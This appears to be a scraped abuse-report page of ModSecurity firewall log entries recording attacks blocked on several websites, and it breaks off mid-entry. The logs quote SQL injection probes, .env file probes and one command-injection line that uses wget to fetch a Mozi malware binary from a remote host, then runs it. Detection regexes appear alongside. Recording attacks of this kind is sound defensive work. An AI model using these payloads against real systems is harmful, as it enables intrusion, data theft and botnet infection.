|
🇬🇧
86.140.66.17
|
|
[Tue Sep 01 08:49:08.869349 2026] [security2:error] [pid 8628:tid 8640] [client 86.140.66.17:40450] ...
show more
[Tue Sep 01 08:49:08.869349 2026] [security2:error] [pid 8628:tid 8640] [client 86.140.66.17:40450] [client 86.140.66.17] ModSecurity: Warning. detected SQLi using libinjection with fingerprint 's&1UE' [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line "43"] [id "942100"] [rev "1"] [msg "SQL Injection Attack Detected via libinjection"] [data "Matched Data: s&1UE found within ARGS:productid: 1' AND 1=1 UNION SELECT NULL-- -"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-sqli"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "slotcarstore.uk"] [uri "/subscribe/show_product.php"] [unique_id "apbJxBy1TkPn_qM1rQIuSQAAAgo"]
show less
|
SQL Injection
|
|
🇬🇧
5.133.46.28
|
|
[Tue Sep 01 08:50:12.769959 2026] [security2:error] [pid 8254:tid 8566] [client 5.133.46.28:53032] [ ...
show more
[Tue Sep 01 08:50:12.769959 2026] [security2:error] [pid 8254:tid 8566] [client 5.133.46.28:53032] [client 5.133.46.28] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?:(?:alter|create|drop)[[:space:]]*(?:column|database|procedure|table) |delete[[:space:]] .{1,100}+ update [a-z0-9]+ set .{1,100}+=|union all select |\\\\bunion\\\\b.{1,100}?\\\\bselect\\\\b.*[a-z0-9]+ from |select (?:load_file|char ?\\\\()|(?:insert|remark)tes ..." at ARGS:productid. [file "/etc/apache2/conf.d/modsec2/10_asl_rules.conf"] [line "318"] [id "340144"] [rev "35"] [msg "Atomicorp.com UNSUPPORTED DELAYED Rules: Generic SQL injection protection 2"] [data "get /subscribe/show_product.php?productid=%29%2f**%2fand%2f**%2f%28803432090%3d803432090%2f**%2funion%2f**%2fall%2f**%2fselect%2f**%2f%27fnbbljcuvzurapghsvyfigrueeemdppg%27--%2f**%2fzxanfm http/1.1"] [severity "CRITICAL"] [hostname "slotcarstore.uk"] [uri "/subscribe/show_product.php"] [unique_id "apbKBNzq7HPAXgdml6q9lwAAASs"]
show less
|
SQL Injection
|
|
🇬🇧
90.208.82.8
|
|
[Tue Sep 01 08:50:22.126451 2026] [security2:error] [pid 8628:tid 8669] [client 90.208.82.8:57354] [ ...
show more
[Tue Sep 01 08:50:22.126451 2026] [security2:error] [pid 8628:tid 8669] [client 90.208.82.8:57354] [client 90.208.82.8] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?:(?:alter|create|drop)[[:space:]]*(?:column|database|procedure|table) |delete[[:space:]] .{1,100}+ update [a-z0-9]+ set .{1,100}+=|union all select |\\\\bunion\\\\b.{1,100}?\\\\bselect\\\\b.*[a-z0-9]+ from |select (?:load_file|char ?\\\\()|(?:insert|remark)tes ..." at ARGS:productid. [file "/etc/apache2/conf.d/modsec2/10_asl_rules.conf"] [line "318"] [id "340144"] [rev "35"] [msg "Atomicorp.com UNSUPPORTED DELAYED Rules: Generic SQL injection protection 2"] [data "get /subscribe/show_product.php?productid=%29%2f**%2fand%2f**%2f%28911873030%3d911873030%2f**%2funion%2f**%2fall%2f**%2fselect%2f**%2f%c3%80%c2%a7%c3%80%c2%a2%252527fnbbljcuvzurapghsvyfigrueeemdppg%c3%80%c2%a7%c3%80%c2%a2%252527--%2f**%2fzxanfm http/1.1"] [severity "CRITICAL"] [hostname "slotcarstore.uk"] [uri "/subscribe/show_product.php"] [unique_id "apbKDhy1TkP
show less
|
SQL Injection
|
|
🇧🇷
45.165.86.240
|
|
[Tue Sep 01 08:55:54.566175 2026] [security2:error] [pid 8255:tid 8492] [client 45.165.86.240:29224] ...
show more
[Tue Sep 01 08:55:54.566175 2026] [security2:error] [pid 8255:tid 8492] [client 45.165.86.240:29224] [client 45.165.86.240] ModSecurity: Warning. detected XSS using libinjection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "37"] [id "941100"] [rev "2"] [msg "XSS Attack Detected via libinjection"] [data "Matched Data: /pages/ONeill-Girls-Compete-At-Broken-Bow-Invitational-a27848.html?view_archive=Yes found within ARGS:return: /pages/ONeill-Girls-Compete-At-Broken-Bow-Invitational-a27848.html?view_archive=Yes"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"] [tag "OWASP_CRS/WEB_ATTACK/XSS"] [tag "WASCTC/WASC-8"] [tag "WASCTC/WASC-22"] [tag "OWASP_TOP_10/A3"] [tag "OWASP_AppSensor/IE1"] [tag "CAPEC-242"] [hostname "holtindependent.com"] [uri "/subscribe/customer_login.php"] [unique_id "apbLWol7qGwm2t751N_dcwAAAUE"]
show less
|
SQL Injection
|
|
🇲🇦
196.117.1.252
|
|
[Tue Sep 01 09:01:42.390467 2026] [security2:error] [pid 8628:tid 8637] [client 196.117.1.252:61424] ...
show more
[Tue Sep 01 09:01:42.390467 2026] [security2:error] [pid 8628:tid 8637] [client 196.117.1.252:61424] [client 196.117.1.252] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "72.52.134.43"] [uri "/app/.env"] [unique_id "apbMthy1TkPn_qM1rQIxjwAAAgc"]
show less
|
Web App Attack
|
|
🇺🇸
162.222.199.182
|
|
[Tue Sep 01 09:02:40.371015 2026] [security2:error] [pid 8628:tid 8660] [client 162.222.199.182:3370 ...
show more
[Tue Sep 01 09:02:40.371015 2026] [security2:error] [pid 8628:tid 8660] [client 162.222.199.182:33705] [client 162.222.199.182] ModSecurity: Warning. detected XSS using libinjection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "37"] [id "941100"] [rev "2"] [msg "XSS Attack Detected via libinjection"] [data "Matched Data: /pages/ONeill-State-Track-Qualifiers-a26961.html?view_archive=Yes found within ARGS:return: /pages/ONeill-State-Track-Qualifiers-a26961.html?view_archive=Yes"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"] [tag "OWASP_CRS/WEB_ATTACK/XSS"] [tag "WASCTC/WASC-8"] [tag "WASCTC/WASC-22"] [tag "OWASP_TOP_10/A3"] [tag "OWASP_AppSensor/IE1"] [tag "CAPEC-242"] [hostname "holtindependent.com"] [uri "/subscribe/customer_login.php"] [unique_id "apbM8By1TkPn_qM1rQIx4AAAAh4"]
show less
|
SQL Injection
|
|
🇫🇷
95.214.47.231
|
|
[Tue Sep 01 09:33:51.813495 2026] [security2:error] [pid 8628:tid 8633] [client 95.214.47.231:44238] ...
show more
[Tue Sep 01 09:33:51.813495 2026] [security2:error] [pid 8628:tid 8633] [client 95.214.47.231:44238] [client 95.214.47.231] ModSecurity: Warning. detected SQLi using libinjection with fingerprint 's&1UE' [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line "43"] [id "942100"] [rev "1"] [msg "SQL Injection Attack Detected via libinjection"] [data "Matched Data: s&1UE found within ARGS:email: 1' AND 1=1 UNION SELECT NULL-- -"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-sqli"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "holtindependent.com"] [uri "/subscribe/password_lost.php"] [unique_id "apbUPxy1TkPn_qM1rQI6rgAAAgM"]
show less
|
SQL Injection
|
|
🇫🇷
86.221.88.11
|
|
[Tue Sep 01 09:33:54.940019 2026] [security2:error] [pid 8255:tid 8548] [client 86.221.88.11:56228] ...
show more
[Tue Sep 01 09:33:54.940019 2026] [security2:error] [pid 8255:tid 8548] [client 86.221.88.11:56228] [client 86.221.88.11] ModSecurity: Warning. detected SQLi using libinjection with fingerprint 's&1UE' [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line "43"] [id "942100"] [rev "1"] [msg "SQL Injection Attack Detected via libinjection"] [data "Matched Data: s&1UE found within ARGS:email: 1' AND 1=1 UNION SELECT NULL-- -"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-sqli"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "holtindependent.com"] [uri "/subscribe/password_lost.php"] [unique_id "apbUQol7qGwm2t751N_i2wAAAVY"]
show less
|
SQL Injection
|
|
🇫🇷
90.5.238.48
|
|
[Tue Sep 01 09:33:58.712730 2026] [security2:error] [pid 8255:tid 8595] [client 90.5.238.48:45068] [ ...
show more
[Tue Sep 01 09:33:58.712730 2026] [security2:error] [pid 8255:tid 8595] [client 90.5.238.48:45068] [client 90.5.238.48] ModSecurity: Warning. detected SQLi using libinjection with fingerprint 's&1UE' [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line "43"] [id "942100"] [rev "1"] [msg "SQL Injection Attack Detected via libinjection"] [data "Matched Data: s&1UE found within ARGS:email: 1' AND 1=1 UNION SELECT NULL-- -"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-sqli"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "holtindependent.com"] [uri "/subscribe/password_lost.php"] [unique_id "apbURol7qGwm2t751N_i3QAAAWg"]
show less
|
SQL Injection
|
|
🇫🇷
5.49.94.136
|
|
[Tue Sep 01 09:34:13.132475 2026] [security2:error] [pid 8255:tid 8599] [client 5.49.94.136:53992] [ ...
show more
[Tue Sep 01 09:34:13.132475 2026] [security2:error] [pid 8255:tid 8599] [client 5.49.94.136:53992] [client 5.49.94.136] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?:(?:alter|create|drop)[[:space:]]*(?:column|database|procedure|table) |delete[[:space:]] .{1,100}+ update [a-z0-9]+ set .{1,100}+=|union all select |\\\\bunion\\\\b.{1,100}?\\\\bselect\\\\b.*[a-z0-9]+ from |select (?:load_file|char ?\\\\()|(?:insert|remark)tes ..." at ARGS:email. [file "/etc/apache2/conf.d/modsec2/10_asl_rules.conf"] [line "318"] [id "340144"] [rev "35"] [msg "Atomicorp.com UNSUPPORTED DELAYED Rules: Generic SQL injection protection 2"] [data "get /subscribe/password_lost.php?email=%29%2f**%2fand%2f**%2f%28314015679%3d314015679%2f**%2funion%2f**%2fall%2f**%2fselect%2f**%2f%27twnvfbnadfwtpkhgvippruvwmlrkktyf%27--%2f**%2figrrrp http/1.1"] [severity "CRITICAL"] [hostname "holtindependent.com"] [uri "/subscribe/password_lost.php"] [unique_id "apbUVYl7qGwm2t751N_i9AAAAWo"]
show less
|
SQL Injection
|
|
🇫🇷
85.170.119.218
|
|
[Tue Sep 01 09:34:27.269683 2026] [security2:error] [pid 8255:tid 8497] [client 85.170.119.218:43916 ...
show more
[Tue Sep 01 09:34:27.269683 2026] [security2:error] [pid 8255:tid 8497] [client 85.170.119.218:43916] [client 85.170.119.218] ModSecurity: Warning. detected SQLi using libinjection with fingerprint 's)&f(' [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line "43"] [id "942100"] [rev "1"] [msg "SQL Injection Attack Detected via libinjection"] [data "Matched Data: s)&f( found within ARGS:email: ') AND EXTRACTVALUE(5641,CONCAT(0x7e,((SELECT (ELT(5641=5641,1)))),0x7e))"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-sqli"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "holtindependent.com"] [uri "/subscribe/password_lost.php"] [unique_id "apbUY4l7qGwm2t751N_jAAAAAUM"]
show less
|
SQL Injection
|
|
🇫🇷
86.241.137.71
|
|
[Tue Sep 01 09:34:43.523709 2026] [security2:error] [pid 8254:tid 8476] [client 86.241.137.71:57846] ...
show more
[Tue Sep 01 09:34:43.523709 2026] [security2:error] [pid 8254:tid 8476] [client 86.241.137.71:57846] [client 86.241.137.71] ModSecurity: Warning. detected SQLi using libinjection with fingerprint 's)&f(' [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line "43"] [id "942100"] [rev "1"] [msg "SQL Injection Attack Detected via libinjection"] [data "Matched Data: s)&f( found within ARGS:email: %\\x22) AND EXTRACTVALUE(5190,CONCAT(0x7e,((SELECT (ELT(5190=5190,1)))),0x7e))"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-sqli"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "holtindependent.com"] [uri "/subscribe/password_lost.php"] [unique_id "apbUc9zq7HPAXgdml6rAtQAAAQY"]
show less
|
SQL Injection
|
|
🇫🇷
78.193.36.147
|
|
[Tue Sep 01 09:34:59.127833 2026] [security2:error] [pid 8628:tid 8659] [client 78.193.36.147:33102] ...
show more
[Tue Sep 01 09:34:59.127833 2026] [security2:error] [pid 8628:tid 8659] [client 78.193.36.147:33102] [client 78.193.36.147] ModSecurity: Warning. Pattern match "(?i:(?:\\\\s*?(?:exec|execute).*?(?:\\\\W)xp_cmdshell)|(?:[\\"'`]\\\\s*?!\\\\s*?[\\"'`\\\\w])|(?:from\\\\W+information_schema\\\\W)|(?:(?:(?:current_)?user|database|schema|connection_id)\\\\s*?\\\\([^\\\\)]*?)|(?:[\\"'`];?\\\\s*?(?:select|union|having)\\\\b\\\\s*?[^\\\\s])|(?:\\\\wiif ..." at ARGS:email. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line "61"] [id "942190"] [rev "2"] [msg "Detects MSSQL code execution and information gathering attempts"] [data "Matched Data: UNION ALL SELECT found within ARGS:email: ) AND (876517706=876517706 UNION ALL SELECT NULL,'twnvfbnadfwtpkhgvippruvwmlrkktyf'-- safu5n"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-sqli"] [tag "OWASP_CRS/WE
show less
|
SQL Injection
|
|
🇫🇷
88.163.105.82
|
|
[Tue Sep 01 09:35:21.912484 2026] [security2:error] [pid 8254:tid 8546] [client 88.163.105.82:56108] ...
show more
[Tue Sep 01 09:35:21.912484 2026] [security2:error] [pid 8254:tid 8546] [client 88.163.105.82:56108] [client 88.163.105.82] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?:(?:alter|create|drop)[[:space:]]*(?:column|database|procedure|table) |delete[[:space:]] .{1,100}+ update [a-z0-9]+ set .{1,100}+=|union all select |\\\\bunion\\\\b.{1,100}?\\\\bselect\\\\b.*[a-z0-9]+ from |select (?:load_file|char ?\\\\()|(?:insert|remark)tes ..." at ARGS:email. [file "/etc/apache2/conf.d/modsec2/10_asl_rules.conf"] [line "318"] [id "340144"] [rev "35"] [msg "Atomicorp.com UNSUPPORTED DELAYED Rules: Generic SQL injection protection 2"] [data "get /subscribe/password_lost.php?email=%29%2f**%2fand%2f**%2f%28416191193%3d416191193%2f**%2funion%2f**%2fall%2f**%2fselect%2f**%2f%27twnvfbnadfwtpkhgvippruvwmlrkktyf%27%2cnull--%2f**%2fdd3xa9 http/1.1"] [severity "CRITICAL"] [hostname "holtindependent.com"] [uri "/subscribe/password_lost.php"] [unique_id "apbUmdzq7HPAXgdml6rA2QAAASU"]
show less
|
SQL Injection
|
|
🇫🇷
88.175.154.37
|
|
[Tue Sep 01 09:35:34.275314 2026] [security2:error] [pid 8628:tid 8652] [client 88.175.154.37:13021] ...
show more
[Tue Sep 01 09:35:34.275314 2026] [security2:error] [pid 8628:tid 8652] [client 88.175.154.37:13021] [client 88.175.154.37] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "holtindependent.com"] [uri "/subscribe/password_lost.php"] [unique_id "apbUphy1TkPn_qM1rQI7NQAAAhY"]
show less
|
Hacking
|
|
🇲🇦
196.117.1.252
|
|
[Tue Sep 01 09:45:16.451056 2026] [security2:error] [pid 8628:tid 8676] [client 196.117.1.252:54600] ...
show more
[Tue Sep 01 09:45:16.451056 2026] [security2:error] [pid 8628:tid 8676] [client 196.117.1.252:54600] [client 196.117.1.252] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "72.52.134.177"] [uri "/backend/.env"] [unique_id "apbW7By1TkPn_qM1rQI-WwAAAi4"]
show less
|
Web App Attack
|
|
🇫🇷
90.101.153.21
|
|
[Tue Sep 01 08:46:18.957294 2026] [security2:error] [pid 8256:tid 8533] [client 90.101.153.21:54540] ...
show more
[Tue Sep 01 08:46:18.957294 2026] [security2:error] [pid 8256:tid 8533] [client 90.101.153.21:54540] [client 90.101.153.21] ModSecurity: Warning. detected SQLi using libinjection with fingerprint 's&1UE' [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line "43"] [id "942100"] [rev "1"] [msg "SQL Injection Attack Detected via libinjection"] [data "Matched Data: s&1UE found within ARGS:sourceid: 1' AND 1=1 UNION SELECT NULL"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-sqli"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "catalog.onesourceofnj.com"] [uri "/subscribe/show_product.php"] [unique_id "apbJGm0NUnjQpVtATanAKAAAAco"]
show less
|
SQL Injection
|
|
🇫🇷
90.14.201.133
|
|
[Tue Sep 01 08:46:22.780315 2026] [security2:error] [pid 8253:tid 8426] [client 90.14.201.133:54742] ...
show more
[Tue Sep 01 08:46:22.780315 2026] [security2:error] [pid 8253:tid 8426] [client 90.14.201.133:54742] [client 90.14.201.133] ModSecurity: Warning. detected SQLi using libinjection with fingerprint 's&1UE' [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line "43"] [id "942100"] [rev "1"] [msg "SQL Injection Attack Detected via libinjection"] [data "Matched Data: s&1UE found within ARGS:sourceid: 1' AND 1=1 UNION SELECT NULL-- -"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-sqli"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "catalog.onesourceofnj.com"] [uri "/subscribe/show_product.php"] [unique_id "apbJHu49CM7d3Aj036fcHwAAAMc"]
show less
|
SQL Injection
|
|
🇵🇰
175.107.215.93
|
|
[Tue Sep 01 08:46:32.247072 2026] [security2:error] [pid 8255:tid 8506] [client 175.107.215.93:47338 ...
show more
[Tue Sep 01 08:46:32.247072 2026] [security2:error] [pid 8255:tid 8506] [client 175.107.215.93:47338] [client 175.107.215.93] ModSecurity: Warning. detected SQLi using libinjection with fingerprint 'nc' [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line "43"] [id "942100"] [rev "1"] [msg "SQL Injection Attack Detected via libinjection"] [data "Matched Data: nc found within ARGS:cmd: rm -rf /tmp/*;wget http://175.107.215.93:47619/Mozi.m -O /tmp/netgear;sh netgear"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-sqli"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "host.oped.cc"] [uri "/setup.cgi"] [unique_id "apbJKIl7qGwm2t751N_b8gAAAUc"]
show less
|
SQL Injection
|
|
🇫🇷
83.202.212.246
|
|
[Tue Sep 01 08:46:32.655895 2026] [security2:error] [pid 8628:tid 8666] [client 83.202.212.246:46404 ...
show more
[Tue Sep 01 08:46:32.655895 2026] [security2:error] [pid 8628:tid 8666] [client 83.202.212.246:46404] [client 83.202.212.246] ModSecurity: Warning. Pattern match "(?i:(?:\\\\s*?(?:exec|execute).*?(?:\\\\W)xp_cmdshell)|(?:[\\"'`]\\\\s*?!\\\\s*?[\\"'`\\\\w])|(?:from\\\\W+information_schema\\\\W)|(?:(?:(?:current_)?user|database|schema|connection_id)\\\\s*?\\\\([^\\\\)]*?)|(?:[\\"'`];?\\\\s*?(?:select|union|having)\\\\b\\\\s*?[^\\\\s])|(?:\\\\wiif ..." at ARGS:db_type. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line "61"] [id "942190"] [rev "2"] [msg "Detects MSSQL code execution and information gathering attempts"] [data "Matched Data: ' UNION A found within ARGS:db_type: product' UNION ALL SELECT 'tbwwilkqwykgqhsvujnzlhfggkjuysus'-- lyi2ix"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-sqli"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"]
show less
|
Hacking
SQL Injection
|
|
🇫🇷
37.167.145.106
|
|
[Tue Sep 01 08:46:47.824787 2026] [security2:error] [pid 8628:tid 8675] [client 37.167.145.106:60837 ...
show more
[Tue Sep 01 08:46:47.824787 2026] [security2:error] [pid 8628:tid 8675] [client 37.167.145.106:60837] [client 37.167.145.106] ModSecurity: Warning. detected SQLi using libinjection with fingerprint 'n)&(n' [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line "43"] [id "942100"] [rev "1"] [msg "SQL Injection Attack Detected via libinjection"] [data "Matched Data: n)&(n found within ARGS:db_type: \\xc3\\x80\\xc2\\xa7\\xc3\\x80\\xc2\\xa2%2527)/**/AND/**/(\\xc3\\x80\\xc2\\xa7\\xc3\\x80\\xc2\\xa2%2527ysrgsa\\xc3\\x80\\xc2\\xa7\\xc3\\x80\\xc2\\xa2%2527=\\xc3\\x80\\xc2\\xa7\\xc3\\x80\\xc2\\xa2%2527ysrgsa\\xc3\\x80\\xc2\\xa7\\xc3\\x80\\xc2\\xa2%2527AND/**/EXTRACTVALUE(4580,CONCAT(0x7e,((SELECT/**/(ELT(4580=4580,1)))),0x7e))"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-sqli"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag
show less
|
SQL Injection
|
|
🇫🇷
93.1.105.139
|
|
[Tue Sep 01 08:47:03.172662 2026] [security2:error] [pid 8628:tid 8675] [client 93.1.105.139:64302] ...
show more
[Tue Sep 01 08:47:03.172662 2026] [security2:error] [pid 8628:tid 8675] [client 93.1.105.139:64302] [client 93.1.105.139] ModSecurity: Warning. detected SQLi using libinjection with fingerprint 's&f(1' [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line "43"] [id "942100"] [rev "1"] [msg "SQL Injection Attack Detected via libinjection"] [data "Matched Data: s&f(1 found within ARGS:sourceid: 2920' AND EXTRACTVALUE(8438,CONCAT(0x7e,((SELECT (ELT(8438=8438,1)))),0x7e))"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-sqli"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "catalog.onesourceofnj.com"] [uri "/subscribe/show_product.php"] [unique_id "apbJRxy1TkPn_qM1rQItfAAAAi0"]
show less
|
SQL Injection
|
|
🇫🇷
91.174.176.241
|
|
[Tue Sep 01 08:47:13.281737 2026] [security2:error] [pid 8628:tid 8658] [client 91.174.176.241:42301 ...
show more
[Tue Sep 01 08:47:13.281737 2026] [security2:error] [pid 8628:tid 8658] [client 91.174.176.241:42301] [client 91.174.176.241] ModSecurity: Warning. detected SQLi using libinjection with fingerprint 's&f(1' [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line "43"] [id "942100"] [rev "1"] [msg "SQL Injection Attack Detected via libinjection"] [data "Matched Data: s&f(1 found within ARGS:sourceid: 2920\\x22 AND EXTRACTVALUE(3065,CONCAT(0x7e,((SELECT (ELT(3065=3065,1)))),0x7e))"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-sqli"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "catalog.onesourceofnj.com"] [uri "/subscribe/show_product.php"] [unique_id "apbJURy1TkPn_qM1rQItrAAAAhw"]
show less
|
SQL Injection
|
|
🇫🇷
90.112.112.108
|
|
[Tue Sep 01 08:47:27.406171 2026] [security2:error] [pid 8628:tid 8635] [client 90.112.112.108:60874 ...
show more
